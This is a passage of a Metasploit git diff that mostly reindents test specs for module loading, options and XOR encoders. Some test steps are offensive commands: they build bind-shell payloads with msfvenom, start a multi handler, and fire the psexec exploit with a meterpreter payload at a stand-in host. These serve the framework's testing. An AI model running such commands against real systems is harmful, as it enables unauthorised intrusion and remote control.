reference_name, options) + end - let(:klass) do - Class.new(Msf::Auxiliary) - end + let(:klass) do + Class.new(Msf::Auxiliary) + end - let(:module_set) do - module_manager.module_set(type) - end + let(:module_set) do + module_manager.module_set(type) + end - let(:namespace_module) do - double('Namespace Module', :parent_path => parent_path) - end + let(:namespace_module) do + double('Namespace Module', :parent_path => parent_path) + end - let(:options) do - { - 'files' => [ - path - ], - 'paths' => [ - reference_name - ], - 'type' => type - } - end + let(:options) do + { + 'files' => [ + path + ], + 'paths' => [ + reference_name + ], + 'type' => type + } + end - let(:parent_path) do - Metasploit::Framework.root.join('modules') - end + let(:parent_path) do + Metasploit::Framework.root.join('modules') + end - let(:path) do - type_directory = Mdm::Module::Detail::DIRECTORY_BY_TYPE[type] + let(:path) do + type_directory = Mdm::Module::Detail::DIRECTORY_BY_TYPE[type] - File.join(parent_path, type_directory, "#{reference_name}.rb") - end + File.join(parent_path, type_directory, "#{reference_name}.rb") + end - let(:reference_name) do - 'admin/2wire/xslt_password_reset' - end + let(:reference_name) do + 'admin/2wire/xslt_password_reset' + end - let(:type) do - klass.type - end + let(:type) do + klass.type + end - before(:each) do - klass.stub(:parent => namespace_module) - end + before(:each) do + klass.stub(:parent => namespace_module) + end - it "should add module to type's module_set" do - module_set.should_receive(:add_module).with( - klass, - reference_name, - options - ) + it "should add module to type's module_set" do + module_set.should_receive(:add_module).with( + klass, + reference_name, + options + ) - on_module_load - end + on_module_load + end - it 'should call cache_in_memory' do - module_manager.should_receive(:cache_in_memory) + it 'should call cache_in_memory' do + module_manager.should_receive(:cache_in_memory) - on_module_load - end + on_module_load + end - it 'should pass class to #auto_subscribe_module' do - module_manager.should_receive(:auto_subscribe_module).with(klass) + it 'should pass class to #auto_subscribe_module' do + module_manager.should_receive(:auto_subscribe_module).with(klass) - on_module_load - end + on_module_load + end - it 'should fire on_module_load event with class' do - framework.events.should_receive(:on_module_load).with( - reference_name, - klass - ) + it 'should fire on_module_load event with class' do + framework.events.should_receive(:on_module_load).with( + reference_name, + klass + ) - on_module_load - end - end + on_module_load + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 05fdc1f663..0951211d28 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -1,77 +1,77 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do - def module_paths - module_manager.send(:module_paths) - end + def module_paths + module_manager.send(:module_paths) + end - context '#add_module_path' do - it 'should strip trailing File::SEPARATOR from the path' do - Dir.mktmpdir do |path| - path_with_trailing_separator = path + File::SEPARATOR - module_manager.add_module_path(path_with_trailing_separator) + context '#add_module_path' do + it 'should strip trailing File::SEPARATOR from the path' do + Dir.mktmpdir do |path| + path_with_trailing_separator = path + File::SEPARATOR + module_manager.add_module_path(path_with_trailing_separator) - module_paths.should_not include(path_with_trailing_separator) - module_paths.should include(path) - end - end + module_paths.should_not include(path_with_trailing_separator) + module_paths.should include(path) + end + end - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink + context 'with Fastlib archive' do + it 'should raise an ArgumentError unless the File exists' do + file = Tempfile.new(archive_basename) + # unlink will clear path, so copy it to a variable + path = file.path + file.unlink - File.exist?(path).should be_false + File.exist?(path).should be_false - expect { - module_manager.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end + expect { + module_manager.add_module_path(path) + }.to raise_error(ArgumentError, "The path supplied does not exist") + end - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path + it 'should add the path to #module_paths if the File exists' do + Tempfile.open(archive_basename) do |temporary_file| + path = temporary_file.path - File.exist?(path).should be_true + File.exist?(path).should be_true - module_manager.add_module_path(path) + module_manager.add_module_path(path) - module_paths.should include(path) - end - end - end + module_paths.should include(path) + end + end + end - context 'with directory' do - it 'should add path to #module_paths' do - Dir.mktmpdir do |path| - module_manager.add_module_path(path) + context 'with directory' do + it 'should add path to #module_paths' do + Dir.mktmpdir do |path| + module_manager.add_module_path(path) - module_paths.should include(path) - end - end + module_paths.should include(path) + end + end - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - module_manager.add_module_path(directory) + context 'containing Fastlib archives' do + it 'should add each Fastlib archive to #module_paths' do + Dir.mktmpdir do |directory| + Tempfile.open(archive_basename, directory) do |file| + module_manager.add_module_path(directory) - module_paths.should include(directory) - module_paths.should include(file.path) - end - end - end - end - end + module_paths.should include(directory) + module_paths.should include(file.path) + end + end + end + end + end - context 'with other file' do - it 'should raise ArgumentError' do - Tempfile.open(basename_prefix) do |file| - expect { - subject.add_module_path(file.path) - }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') - end - end - end - end + context 'with other file' do + it 'should raise ArgumentError' do + Tempfile.open(basename_prefix) do |file| + expect { + subject.add_module_path(file.path) + }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') + end + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index 409974c954..5b80ff0aac 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -1,27 +1,27 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::Error subclass #initialize' do - context 'instance methods' do - context '#initialize' do - include_context 'Msf::Modules::Error attributes' + context 'instance methods' do + context '#initialize' do + include_context 'Msf::Modules::Error attributes' - subject do - described_class.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + subject do + described_class.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - it 'should include causal message in error' do - subject.to_s.should match(/due to .*/) - end + it 'should include causal message in error' do + subject.to_s.should match(/due to .*/) + end - it 'should set module_path' do - subject.module_path.should == module_path - end + it 'should set module_path' do + subject.module_path.should == module_path + end - it 'should set module_reference_name' do - subject.module_reference_name.should == module_reference_name - end - end - end + it 'should set module_reference_name' do + subject.module_reference_name.should == module_reference_name + end + end + end end diff --git a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb index 12bbad980a..f0f5b0582e 100644 --- a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb +++ b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do - it 'should be able to read the module content' do - archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) - unarchived_module_content = '' + it 'should be able to read the module content' do + archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) + unarchived_module_content = '' - File.open(unarchived_path) do |f| - unarchived_module_content = f.read - end + File.open(unarchived_path) do |f| + unarchived_module_content = f.read + end - unarchived_module_content.should_not be_empty - archived_module_content.should == unarchived_module_content - end + unarchived_module_content.should_not be_empty + archived_module_content.should == unarchived_module_content + end end diff --git a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb index 407c712504..45c859e7ad 100644 --- a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb +++ b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb @@ -1,33 +1,33 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::VersionCompatibilityError' do - let(:error) do - begin - subject.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => error - end + let(:error) do + begin + subject.version_compatible!(module_path, module_reference_name) + rescue Msf::Modules::VersionCompatibilityError => error + end - error - end + error + end - it 'should be raised' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::VersionCompatibilityError) - end + it 'should be raised' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to raise_error(Msf::Modules::VersionCompatibilityError) + end - it 'should include minimum API version' do - error.to_s.should include(minimum_api_version.to_s) - end + it 'should include minimum API version' do + error.to_s.should include(minimum_api_version.to_s) + end - it 'should include minimum Core version' do - error.to_s.should include(minimum_core_version.to_s) - end + it 'should include minimum Core version' do + error.to_s.should include(minimum_core_version.to_s) + end - it 'should include module path' do - error.to_s.should include(module_path) - end + it 'should include module path' do + error.to_s.should include(module_path) + end - it 'should include module reference name' do - error.to_s.should include(module_reference_name) - end + it 'should include module reference name' do + error.to_s.should include(module_reference_name) + end end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 9c88e2db65..56df640695 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -1,99 +1,99 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do - it { should be_a Msf::Simple::Framework::ModulePaths } + it { should be_a Msf::Simple::Framework::ModulePaths } - context '#init_module_paths' do - def init_module_paths - framework.init_module_paths - end + context '#init_module_paths' do + def init_module_paths + framework.init_module_paths + end - let(:module_directory) do - nil - end + let(:module_directory) do + nil + end - let(:user_module_directory) do - nil - end + let(:user_module_directory) do + nil + end - let(:options) do - {} - end + let(:options) do + {} + end - before(:each) do - # create the framework first so that it's initialization's call - # to init_module_paths doesn't get captured. - framework + before(:each) do + # create the framework first so that it's initialization's call + # to init_module_paths doesn't get captured. + framework - Msf::Config.stub(:module_directory => module_directory) - Msf::Config.stub(:user_module_directory => user_module_directory) - end + Msf::Config.stub(:module_directory => module_directory) + Msf::Config.stub(:user_module_directory => user_module_directory) + end - it 'should refresh module cache from database' do - framework.modules.should_receive(:refresh_cache_from_database) + it 'should refresh module cache from database' do + framework.modules.should_receive(:refresh_cache_from_database) - init_module_paths - end + init_module_paths + end - context 'Msf::Config' do - context 'module_directory' do - context 'without nil' do - let(:module_directory) do - 'modules' - end + context 'Msf::Config' do + context 'module_directory' do + context 'without nil' do + let(:module_directory) do + 'modules' + end - it 'should add Msf::Config.module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - module_directory, - options - ) + it 'should add Msf::Config.module_directory to module paths' do + framework.modules.should_receive(:add_module_path).with( + module_directory, + options + ) - init_module_paths - end - end - end + init_module_paths + end + end + end - context 'user_module_directory' do - context 'without nil' do - let(:user_module_directory) do - 'user/modules' - end + context 'user_module_directory' do + context 'without nil' do + let(:user_module_directory) do + 'user/modules' + end - it 'should add Msf::Config.user_module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - user_module_directory, - options - ) + it 'should add Msf::Config.user_module_directory to module paths' do + framework.modules.should_receive(:add_module_path).with( + user_module_directory, + options + ) - init_module_paths - end - end - end - end + init_module_paths + end + end + end + end - context 'datastore' do - context 'MsfModulePaths' do - let(:module_paths) do - module_paths = [] + context 'datastore' do + context 'MsfModulePaths' do + let(:module_paths) do + module_paths = [] - 1.upto(2) do |i| - module_paths << "msf/#{i}/modules" - end + 1.upto(2) do |i| + module_paths << "msf/#{i}/modules" + end - module_paths - end + module_paths + end - before(:each) do - msf_module_paths = module_paths.join(';') - framework.datastore['MsfModulePaths'] = msf_module_paths - end + before(:each) do + msf_module_paths = module_paths.join(';') + framework.datastore['MsfModulePaths'] = msf_module_paths + end - it 'should add each module path' do - module_paths.each do |module_path| - framework.modules.should_receive(:add_module_path).with(module_path, options) - end + it 'should add each module path' do + module_paths.each do |module_path| + framework.modules.should_receive(:add_module_path).with(module_path, options) + end - init_module_paths - end - end - end - end + init_module_paths + end + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb index f26f94e89f..d84fa9a692 100644 --- a/spec/support/shared/examples/options.rb +++ b/spec/support/shared/examples/options.rb @@ -26,33 +26,33 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| context "with valid values" do valid_values.each do |vhash| - valid_value = vhash[:value] - normalized_value = vhash[:normalized] + valid_value = vhash[:value] + normalized_value = vhash[:normalized] it "should be valid and normalize appropriately: #{valid_value}" do - block = Proc.new { - subject.normalize(valid_value).should == normalized_value - subject.valid?(valid_value).should be_true - } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end + block = Proc.new { + subject.normalize(valid_value).should == normalized_value + subject.valid?(valid_value).should be_true + } + if vhash[:pending] + pending(vhash[:pending], &block) + else + block.call + end end end end context "with invalid values" do invalid_values.each do |vhash| - invalid_value = vhash[:value] + invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do block = Proc.new { subject.valid?(invalid_value).should be_false } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end + if vhash[:pending] + pending(vhash[:pending], &block) + else + block.call + end end end end diff --git a/spec/support/shared/examples/typed_path.rb b/spec/support/shared/examples/typed_path.rb index 487c60393b..ba33e7eedd 100644 --- a/spec/support/shared/examples/typed_path.rb +++ b/spec/support/shared/examples/typed_path.rb @@ -1,29 +1,29 @@ # -*- coding:binary -*- shared_examples_for 'typed_path' do |map| - map ||= {} - if map.length < 1 - raise ArgumentError, - "type_path shared example requires a hash mapping the type constant name to the directory name: " \ - "it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'" - end + map ||= {} + if map.length < 1 + raise ArgumentError, + "type_path shared example requires a hash mapping the type constant name to the directory name: " \ + "it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'" + end - if map.length > 1 - raise ArgumentError, - "only one constant to directory mapping should be passed to each shared example, not #{map.length}" - end + if map.length > 1 + raise ArgumentError, + "only one constant to directory mapping should be passed to each shared example, not #{map.length}" + end - type_constant_name, directory = map.shift + type_constant_name, directory = map.shift - context "with #{type_constant_name} type" do - let(:type_constant) do - type_constant_name.constantize - end + context "with #{type_constant_name} type" do + let(:type_constant) do + type_constant_name.constantize + end - it "should start with #{directory} directory" do - typed_path = described_class.typed_path(type_constant, module_reference_name) - first_directory = typed_path.split(File::SEPARATOR).first + it "should start with #{directory} directory" do + typed_path = described_class.typed_path(type_constant, module_reference_name) + first_directory = typed_path.split(File::SEPARATOR).first - first_directory.should == directory - end - end + first_directory.should == directory + end + end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index daa1f65db8..3df434c490 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -1,37 +1,37 @@ # -*- coding: binary -*- shared_examples_for 'an xor encoder' do |keysize| - it "should encode one block" do - # Yup it returns one of its arguments in an array... Because spoon. - encoded, key = described_class.encode("A"*keysize, "A"*keysize) - encoded.should eql("\x00"*keysize) + it "should encode one block" do + # Yup it returns one of its arguments in an array... Because spoon. + encoded, key = described_class.encode("A"*keysize, "A"*keysize) + encoded.should eql("\x00"*keysize) - encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) - encoded.should eql("\xff"*keysize) + encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) + encoded.should eql("\xff"*keysize) - encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) - encoded.should eql("\x88"*keysize) - end + encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) + encoded.should eql("\x88"*keysize) + end - it "should encode multiple blocks" do - 2.upto 50 do |count| - encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) - encoded.should eql("\x88"*keysize*count) - end - end + it "should encode multiple blocks" do + 2.upto 50 do |count| + encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) + encoded.should eql("\x88"*keysize*count) + end + end - if keysize > 1 - it "should deal with input lengths that aren't a multiple of keysize" do - lambda { - encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) - encoded.should eql("\x00"*(keysize+1)) - }.should_not raise_error + if keysize > 1 + it "should deal with input lengths that aren't a multiple of keysize" do + lambda { + encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) + encoded.should eql("\x00"*(keysize+1)) + }.should_not raise_error - lambda { - encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) - encoded.should eql("\x00"*(keysize-1)) - }.should_not raise_error - end - end + lambda { + encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) + encoded.should eql("\x00"*(keysize-1)) + }.should_not raise_error + end + end end diff --git a/test/features/steps/common_steps.rb b/test/features/steps/common_steps.rb index 11c79c5ae9..21620e30d6 100644 --- a/test/features/steps/common_steps.rb +++ b/test/features/steps/common_steps.rb @@ -1,31 +1,31 @@ #This is the step definition file for common framework testing steps or meta steps When /^I run the "([^"]*)" exploit with standard target options$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively - } - end + steps %Q{ + When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively + } + end When /^I run the "([^"]*)" exploit with standard target options in check mode$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively - } - end + steps %Q{ + When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively + } + end When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively - } - end + steps %Q{ + When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively + } + end When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options and a buffer register$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively - } - end + steps %Q{ + When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively + } + end When /^I run msfpayload to generate a "([^"]*)" on the local host$/ do |payload| - steps %Q{ - When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` - } - end \ No newline at end of file + steps %Q{ + When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` + } + end \ No newline at end of file diff --git a/test/features/steps/handler_steps.rb b/test/features/steps/handler_steps.rb index 4ede133d5c..9660708856 100644 --- a/test/features/steps/handler_steps.rb +++ b/test/features/steps/handler_steps.rb @@ -1,14 +1,14 @@ #This is the step definition file for cucumber features relating to the framework handler feature Given /^I launch the exploit multi handler$/ do - steps %Q{ - - When I run `./msfcli exploit/multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." + steps %Q{ + + When I run `./msfcli exploit/multi/handler E` + Then the output should contain "Please wait while we load the module tree..." + Then the output should contain "Started reverse handler on" + Then the output should contain "Starting the payload handler..." - } + } end Given /^I launch the generic multi handler$/ do diff --git a/test/features/support/env.rb b/test/features/support/env.rb index 2f0b406393..9a60d7d973 100644 --- a/test/features/support/env.rb +++ b/test/features/support/env.rb @@ -5,18 +5,18 @@ require 'aruba/cucumber' require_relative 'test_config' Before do - # Automatically find the framework path - default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') + # Automatically find the framework path + default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') - # Add more paths manually if needed. For example: - # "/Users/gary/rapid7/framework" - @dirs = [default_path] + # Add more paths manually if needed. For example: + # "/Users/gary/rapid7/framework" + @dirs = [default_path] - @aruba_timeout_seconds = 150 + @aruba_timeout_seconds = 150 end Before('@slow_process') do - @aruba_io_wait_seconds = 150 + @aruba_io_wait_seconds = 150 end @After diff --git a/test/features/support/test_config.rb b/test/features/support/test_config.rb index 4284886940..8c1c5b9b77 100644 --- a/test/features/support/test_config.rb +++ b/test/features/support/test_config.rb @@ -6,18 +6,18 @@ class TestConfig def initialize(*args) - yml_path = File.join(File.dirname(__FILE__),'test_config.yml') + yml_path = File.join(File.dirname(__FILE__),'test_config.yml') - if File.exists?(yml_path) - @yaml_options = YAML::load(File.open(yml_path)) - else - @yaml_options = {} - end + if File.exists?(yml_path) + @yaml_options = YAML::load(File.open(yml_path)) + else + @yaml_options = {} + end @options = { "rhost" => "localhost", - "smbuser" => "user", - "smbpass" => "password" + "smbuser" => "user", + "smbpass" => "password" } end diff --git a/test/functional/framework/msfconsole_spec.rb b/test/functional/framework/msfconsole_spec.rb index 56ca2916da..be47e1d987 100644 --- a/test/functional/framework/msfconsole_spec.rb +++ b/test/functional/framework/msfconsole_spec.rb @@ -17,195 +17,195 @@ include MsfTest::MsfMatchers ## This spec exists to help us describe the behavior of msfconsole - TODO describe "Msfconsole" do - - ### - # Setup! - ### - - before :all do - - @working_directory = File.dirname(__FILE__) + + ### + # Setup! + ### + + before :all do + + @working_directory = File.dirname(__FILE__) - ## Static specs will make use of RC files here - @static_resource_directory = "#{@working_directory}/msftest/resource" + ## Static specs will make use of RC files here + @static_resource_directory = "#{@working_directory}/msftest/resource" - ## Directories for the generated specs - @temp_directory = "#{@working_directory}/msfconsole_specs" - @temp_input_directory = "#{@temp_directory}/generated_rc" + ## Directories for the generated specs + @temp_directory = "#{@working_directory}/msfconsole_specs" + @temp_input_directory = "#{@temp_directory}/generated_rc" - ## Where all output from the runs will go - @temp_output_directory = "#{@temp_directory}/output" + ## Where all output from the runs will go + @temp_output_directory = "#{@temp_directory}/output" - ## Create a framework object - @framework = ::Msf::Simple::Framework.create - end + ## Create a framework object + @framework = ::Msf::Simple::Framework.create + end - before :each do - end + before :each do + end - after :each do - - end + after :each do + + end - after :all do - ## Clean up - #FileUtils.rm_rf(@temp_directory) - end + after :all do + ## Clean up + #FileUtils.rm_rf(@temp_directory) + end - ### - # Static Test cases! - ### + ### + # Static Test cases! + ### - it "should start and let us run help" do - data = start_console_and_run_rc("help","#{@static_resource_directory}/help.rc") - - success_strings = [ 'help', - 'Database Backend Commands', - 'Core Commands' ] - failure_strings = [] | generic_failure_strings - failure_exception_strings = [] | generic_failure_exception_strings + it "should start and let us run help" do + data = start_console_and_run_rc("help","#{@static_resource_directory}/help.rc") + + success_strings = [ 'help', + 'Database Backend Commands', + 'Core Commands' ] + failure_strings = [] | generic_failure_strings + failure_exception_strings = [] | generic_failure_exception_strings - data.should contain_all_successes(success_strings) - data.should contain_no_failures_except(failure_strings, failure_exception_strings) - end + data.should contain_all_successes(success_strings) + data.should contain_no_failures_except(failure_strings, failure_exception_strings) + end - it "should generate a meterpreter session against a vulnerable win32 host" do - ## Set input & output to something sane - input = Rex::Ui::Text::Input::Stdio.new - output = Rex::Ui::Text::Output::File.new("temp.output") - session = generate_x86_meterpreter_session(input, output) + it "should generate a meterpreter session against a vulnerable win32 host" do + ## Set input & output to something sane + input = Rex::Ui::Text::Input::Stdio.new + output = Rex::Ui::Text::Output::File.new("temp.output") + session = generate_x86_meterpreter_session(input, output) - session.should_not be_nil - - if session - session.load_stdapi - session.run_cmd("help") - else - flunk "Error interacting with session" - end - end - - ### - # Dynamic Test Cases!! - ### + session.should_not be_nil + + if session + session.load_stdapi + session.run_cmd("help") + else + flunk "Error interacting with session" + end + end + + ### + # Dynamic Test Cases!! + ### - @working_directory = File.dirname(__FILE__) + @working_directory = File.dirname(__FILE__) - ## Directories for the generated specs - @temp_directory = "#{@working_directory}/msfconsole_specs" - @temp_input_directory = "#{@temp_directory}/generated_rc" + ## Directories for the generated specs + @temp_directory = "#{@working_directory}/msfconsole_specs" + @temp_input_directory = "#{@temp_directory}/generated_rc" - ## Where all output from the runs will go - @temp_output_directory = "#{@temp_directory}/output" + ## Where all output from the runs will go + @temp_output_directory = "#{@temp_directory}/output" - if File.directory? @temp_directory - FileUtils.rm_rf(@temp_directory) - end + if File.directory? @temp_directory + FileUtils.rm_rf(@temp_directory) + end - Dir.mkdir(@temp_directory) - Dir.mkdir(@temp_input_directory) - Dir.mkdir(@temp_output_directory) - - Dir.glob("#{@working_directory}/msftest/*.msftest").each do |filename| - - ## Parse this test case - test_case = MsfTestCase.new(filename) - puts "Found #{test_case.name} in: #{filename}" + Dir.mkdir(@temp_directory) + Dir.mkdir(@temp_input_directory) + Dir.mkdir(@temp_output_directory) + + Dir.glob("#{@working_directory}/msftest/*.msftest").each do |filename| + + ## Parse this test case + test_case = MsfTestCase.new(filename) + puts "Found #{test_case.name} in: #{filename}" - ## Write the commands back to a temporary RC file - puts "Writing #{@temp_input_directory}/#{test_case.name}.rc" - File.open("#{@temp_input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands } - - ## Create the rspec Test Case - it "should #{test_case.name}" do - - ## Gather the success / failure strings, and combine with the generics - success_strings = test_case.expected_successes - failure_strings = test_case.expected_failures | generic_failure_strings - failure_exception_strings = test_case.expected_failure_exceptions | generic_failure_exception_strings - - ## run the commands - data = start_console_and_run_rc( test_case.name, "#{@temp_input_directory}/#{test_case.name}.rc") - - ## check the output - data.should contain_all_successes(success_strings) - data.should contain_no_failures_except(failure_strings, failure_exception_strings) - - ## Clean up - #File.delete("#{@temp_input_directory}/#{test_case.name}.rc") - #File.delete("#{@temp_output_directory}/#{test_case.name}") - end - end + ## Write the commands back to a temporary RC file + puts "Writing #{@temp_input_directory}/#{test_case.name}.rc" + File.open("#{@temp_input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands } + + ## Create the rspec Test Case + it "should #{test_case.name}" do + + ## Gather the success / failure strings, and combine with the generics + success_strings = test_case.expected_successes + failure_strings = test_case.expected_failures | generic_failure_strings + failure_exception_strings = test_case.expected_failure_exceptions | generic_failure_exception_strings + + ## run the commands + data = start_console_and_run_rc( test_case.name, "#{@temp_input_directory}/#{test_case.name}.rc") + + ## check the output + data.should contain_all_successes(success_strings) + data.should contain_no_failures_except(failure_strings, failure_exception_strings) + + ## Clean up + #File.delete("#{@temp_input_directory}/#{test_case.name}.rc") + #File.delete("#{@temp_output_directory}/#{test_case.name}") + end + end - ### - # Test case helpers: - ### - def generic_success_strings - [] - end - - def generic_failure_strings - ['fatal', 'fail', 'error', 'exception'] - end - - def generic_failure_exception_strings - [] - end + ### + # Test case helpers: + ### + def generic_success_strings + [] + end + + def generic_failure_strings + ['fatal', 'fail', 'error', 'exception'] + end + + def generic_failure_exception_strings + [] + end - def start_console_and_run_rc(name,rc_file, database_file=false) - output_file = "#{@temp_output_directory}/#{name}" + def start_console_and_run_rc(name,rc_file, database_file=false) + output_file = "#{@temp_output_directory}/#{name}" - if database_file - msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file} -y #{database_file}" - else - msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file}" - end - - system("#{msfconsole_string}") + if database_file + msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file} -y #{database_file}" + else + msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file}" + end + + system("#{msfconsole_string}") - data = hlp_file_to_string("#{output_file}") - end + data = hlp_file_to_string("#{output_file}") + end def generate_x86_meterpreter_session(input, output) - ## Setup for win32 - exploit_name = 'windows/smb/psexec' - payload_name = 'windows/meterpreter/bind_tcp' - - ## Fire it off against a known-vulnerable host - session = @framework.exploits.create(exploit_name).exploit_simple( - 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, - 'Payload' => payload_name, - 'LocalInput' => input, - 'LocalOutput' => output) + ## Setup for win32 + exploit_name = 'windows/smb/psexec' + payload_name = 'windows/meterpreter/bind_tcp' + + ## Fire it off against a known-vulnerable host + session = @framework.exploits.create(exploit_name).exploit_simple( + 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, + 'Payload' => payload_name, + 'LocalInput' => input, + 'LocalOutput' => output) - ## If a session came back, try to interact with it. - if session - return session - else - return nil - end - end + ## If a session came back, try to interact with it. + if session + return session + else + return nil + end + end def generate_win64_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end def generate_java_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end def generate_php_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end - def hlp_file_to_string(filename) - data = "" - f = File.open(filename, "r") - f.each_line do |line| - data += line - end - return data - end + def hlp_file_to_string(filename) + data = "" + f = File.open(filename, "r") + f.each_line do |line| + data += line + end + return data + end end end diff --git a/test/functional/meterpreter/java_meterpreter_specs.rb b/test/functional/meterpreter/java_meterpreter_specs.rb index 8af612ccd1..582e59988b 100644 --- a/test/functional/meterpreter/java_meterpreter_specs.rb +++ b/test/functional/meterpreter/java_meterpreter_specs.rb @@ -1,19 +1,19 @@ module MsfTest module JavaMeterpreterSpecs - ## This file is intended to be used in conjunction with a harness, - ## such as meterpreter_win32_spec.rb + ## This file is intended to be used in conjunction with a harness, + ## such as meterpreter_win32_spec.rb - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when taking a screenshot" do - success_strings = [ 'Screenshot saved to' ] - hlp_run_command_check_output("screenshot","screenshot", success_strings) - end - - end - end + it "should not error when taking a screenshot" do + success_strings = [ 'Screenshot saved to' ] + hlp_run_command_check_output("screenshot","screenshot", success_strings) + end + + end + end end end diff --git a/test/functional/meterpreter/meterpreter_java_spec.rb 